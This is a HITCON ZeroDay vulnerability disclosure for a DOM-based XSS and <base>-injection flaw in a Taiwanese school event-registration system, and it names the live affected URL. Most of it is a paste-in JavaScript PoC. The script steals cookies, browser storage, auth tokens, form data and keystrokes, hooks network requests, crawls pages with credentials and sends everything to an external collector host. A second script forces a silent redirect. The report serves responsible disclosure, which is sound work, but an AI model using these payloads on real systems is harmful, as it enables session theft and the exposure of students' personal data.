全誼資訊活動報名系統 DOM 型 XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01175
  •  發信 Vendor: 全誼資訊(或者桃园市教育系统?)
  • Title: 全誼資訊活動報名系統 DOM 型 XSS
  • Introduction: 前端採用 jQuery Form 外掛的 ajaxSubmit( target: ... ) 將伺服器回應以原始 HTML 直接注入 DOM,導致 DOM-based XSS 與 <base> 汙染(可重寫相對 URL、觸發無提示跳轉等)

處理狀態

目前狀態

公開
Last Update : 2025/11/11
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/09/11 21:31:51 : 新提交 (由 23882 更新此狀態)
  • 2025/09/17 14:38:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:18:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:18:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:18:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/11 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01175
  • 通報者:23882 (23882)
  • 風險:高
  • 類型:基於 DOM 的 XSS (DOM-based Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。

漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787(同路徑其它 schno 亦受影響)

敘述

漏洞概要

使用 jQuery Form 外掛(版本 4.3.0)時,前端以 ajaxSubmit({ target: '#容器' })未指定 dataType 的情況下,會把伺服器回應原樣插入 DOM。

若回應中包含可控內容,攻擊者可藉此注入危險標籤(如 <base><meta http-equiv="refresh">、帶內聯事件的元素等),產生 DOM 型 XSS、無提示跳轉、相對 URL 被改寫到外域等風險。

复现

poc代码,在浏览器控制台输入即可(收集端url记得改,只需要改开头那个就行了)

1.在受影响链接实时监控浏览器敏感数据(基于domxss)

(function(){
  const COLLECT = 'https://t93up829zoizi9r5vfjkqiqyfplk9ex3.oastify.com';
  if (!/^https?:\/\//i.test(COLLECT)) { alert('注意请先把 COLLECT 改成你的收集端 URL'); return; }

  // 核心数据外送函数 (优先 sendBeacon)
  function ship(obj, tag){
    try{
      const data = { tag: tag||'dump', at: new Date().toISOString(), url: location.href, ua: navigator.userAgent, data: obj };
      const blob = new Blob([JSON.stringify(data)], {type:'text/plain;charset=UTF-8'});
      if (navigator.sendBeacon && navigator.sendBeacon(COLLECT, blob)) return true;
      fetch(COLLECT, {method:'POST', body: blob, mode:'no-cors', keepalive:true}).catch(()=>{});
      return true;
    }catch(e){
      try{
        const s = btoa(unescape(encodeURIComponent(JSON.stringify(obj))));
        const CH = 1500; let off=0, idx=0;
        while (off < s.length) {
          const img = new Image();
          img.src = COLLECT + '?t='+(tag||'dump')+'&i='+idx+'&d=' + encodeURIComponent(s.slice(off, off+CH));
          off += CH; idx++;
        }
      }catch(_){}
      return false;
    }
  }

  // 截取浏览器快照 (Cookie, Storage, Tokens, Forms)
  function snapshotBasic(){
    const cookies = {}; (document.cookie||'').split(';').map(s=>s.trim()).filter(Boolean).forEach(kv=>{
      const i=kv.indexOf('='); cookies[decodeURIComponent(kv.slice(0,i))]=decodeURIComponent(kv.slice(i+1));
    });
    const ls={}, ss={};
    for (let i=0;i<localStorage.length;i++){ const k=localStorage.key(i); ls[k]=localStorage.getItem(k); }
    for (let i=0;i<sessionStorage.length;i++){ const k=sessionStorage.key(i); ss[k]=sessionStorage.getItem(k); }
    const metas={}, hid={};
    document.querySelectorAll('meta[name*="csrf"],meta[name*="token"],meta[name*="auth"]').forEach(m=> metas[m.getAttribute('name')]=m.getAttribute('content'));
    document.querySelectorAll('input[type=hidden][name*="csrf"],input[type=hidden][name*="token"],input[type=hidden][name*="auth"]').forEach(i=> hid[i.name]=i.value);
    const forms=[];
    document.querySelectorAll('form').forEach(f=>{
      const o={action:f.action, method:(f.method||'GET').toUpperCase(), inputs:[]};
      f.querySelectorAll('input,select,textarea').forEach(el=>{
        const t=(el.type||el.tagName).toLowerCase(); const n=el.name||'(no-name)';
        const v=(t==='password')?'******':(el.value||'');
        o.inputs.push({type:t,name:n,value:v.slice(0,120)});
      }); forms.push(o);
    });
    return {cookies, localStorage:ls, sessionStorage:ss, metaTokens:metas, hiddenTokens:hid, forms};
  }

  // 钩子:监听键盘输入与网络请求 (fetch/XHR/jQuery)
  const loot = { keystrokes:[], fetch:[], xhr:[], jq:[] };
  document.addEventListener('keyup', function(ev){
    const t=(ev.target&& (ev.target.type||ev.target.tagName)||'').toLowerCase();
    if (/input|textarea|text|password/.test(t)) {
      loot.keystrokes.push({t:Date.now(), tag:t, name:ev.target.name||'', val:(ev.target.type==='password')?'******':ev.target.value});
    }
  }, true);

  if (window.fetch){
    const _fetch = window.fetch;
    window.fetch = async function(input, init){
      const rec = {when:Date.now(), url:(input&&input.url)||String(input), method:(init&&init.method)||'GET'};
      try{
        const res = await _fetch.apply(this, arguments);
        const clone = res.clone(); const txt = await clone.text().catch(()=>'(non-text)');
        rec.status=res.status; rec.len=txt.length; rec.sample=txt.slice(0,800);
        loot.fetch.push(rec); ship(rec,'fetch'); return res;
      }catch(e){ rec.error=String(e); loot.fetch.push(rec); ship(rec,'fetch'); throw e; }
    };
  }

  (function(){
    const X=window.XMLHttpRequest; if(!X) return;
    const open=X.prototype.open, send=X.prototype.send;
    X.prototype.open=function(m,u){ this.__m=m; this.__u=u; return open.apply(this, arguments); };
    X.prototype.send=function(b){
      const rec={when:Date.now(), url:this.__u, method:this.__m, bodyPreview: b&&String(b).slice(0,300)};
      this.addEventListener('load', function(){
        try{ rec.status=this.status; const t=this.responseText||''; rec.len=t.length; rec.sample=t.slice(0,800); loot.xhr.push(rec); ship(rec,'xhr'); }catch(_){}
      });
      return send.apply(this, arguments);
    };
  })();

  if (window.jQuery && jQuery.ajax){
    const orig = jQuery.ajax;
    jQuery.ajax = function(opts){
      const o=opts||{}; const rec={when:Date.now(), url:o.url||'', method:(o.type||o.method||'GET').toUpperCase()};
      const _succ=o.success, _comp=o.complete;
      o.success=function(data, status, xhr){
        try{ const txt=(typeof data==='string')?data:(xhr&&xhr.responseText)||''; rec.status=(xhr&&xhr.status)||200; rec.len=txt.length; rec.sample=String(txt).slice(0,800); loot.jq.push(rec); ship(rec,'jquery'); }catch(_){}
        return _succ && _succ.apply(this, arguments);
      };
      o.complete=function(xhr,status){ rec.completeStatus=status; return _comp && _comp.apply(this, arguments); };
      return orig.call(this, o);
    };
  }

  // 简易同源页面爬取采样
  (async function crawl(){
    const links=[...document.querySelectorAll('a[href]')].map(a=>a.href).filter(u=>u.startsWith(location.origin));
    const uniq=[...new Set(links)].slice(0,25);
    for (const u of uniq){
      try{
        const r = await fetch(u, {credentials:'include'}); const t=await r.text().catch(()=>'(non-text)');
        ship({url:u, status:r.status, length:t.length, sample:t.slice(0,1200)}, 'crawl');
      }catch(e){ ship({url:u, error:String(e)}, 'crawl'); }
    }
  })();

  // 立即发送初始快照
  ship(snapshotBasic(), 'snapshot');

  console.log('%c[已开启]','background:#222;color:#0f0;padding:4px','→ 发送至:',COLLECT);
})();

圖片

输入完代码后再点击随意用户,比如点击蓝色的名字,可发送敏感信息出去到攻击者手中

圖片

(受限于bp问题,乱码需要复制到任意除了bp的输入框即可正常显示,用的外校学生演示)

圖片

2.自动跳转页面( <base> 污染 + ajaxSubmit({target}) 注入相对链接,无提示立刻跳转到 Baidu。)

/* <base> 污染 → 自动跳转到 Baidu(无确认) */
(function () {
  if (!(window.jQuery && $.fn && $.fn.ajaxSubmit)) {
    console.warn('未检测到 jQuery Form($.fn.ajaxSubmit)'); return;
  }
  const BOX = '__poc_nav_box_auto', FORM = '__poc_nav_form_auto';
  const $box  = $('<div id="'+BOX+'">').appendTo(document.body);
  const $form = $('<form id="'+FORM+'"></form>').appendTo(document.body);

  // stub 掉 $.ajax:返回含 <base> 的“伪响应”,触发 target 分支把 HTML 塞进 DOM
  const origAjax = $.ajax;
  $.ajax = function (opts) {
    setTimeout(function () {
      (opts.success || $.noop)(
        '<base href="https://www.baidu.com/">' +
        '<a id="__poc_nav_auto" href="s?wd=%E6%B5%8B%E8%AF%95">go</a>',
        'success',
        { getResponseHeader: () => 'text/html' }
      );
      (opts.complete || $.noop)({}, 'success');
    }, 0);
    return { abort: function () {} };
  };

  try { $form.ajaxSubmit({ target: '#'+BOX }); } catch (e) { console.error(e); $.ajax = origAjax; return; }

  // 注入完成后,解析相对链接并自动跳转(不弹确认)
  setTimeout(function () {
    try {
      const a = document.getElementById('__poc_nav_auto');
      if (!a) throw new Error('未找到注入的相对链接');
      const target = a.href;                 // 期望:https://www.baidu.com/s?wd=测试
      console.log('[PoC] 自动跳转 →', target);
      try { a.click(); } catch (_) {}
      setTimeout(function(){ location.assign(target); }, 10); // 双保险
    } finally {
      // 收尾(若已离开页面则无影响)
      $.ajax = origAjax;
      document.getElementById(BOX)?.remove();
      document.getElementById(FORM)?.remove();
      document.querySelectorAll('base[href="https://www.baidu.com/"]').forEach(n => n.remove());
    }
  }, 40);
})();

影响

所有使用 jQuery Form ajaxSubmit({ target: ... }) 且未指定 dataType:'json' 的頁面/功能皆受影響。(不止局限于https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787,这里更改学校都可以用)

如回應內容包含可回顯的使用者輸入(標題、備註等),可穩定轉化為可利用的 DOM XSS/跳轉。

(补充说明:关于漏洞方,刚开始是在桃园市长庚国民小学官网的报名系统进去的,但是这个地方疑似有桃园市多所学校都有此漏洞,所以平台有点不知道选什么)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;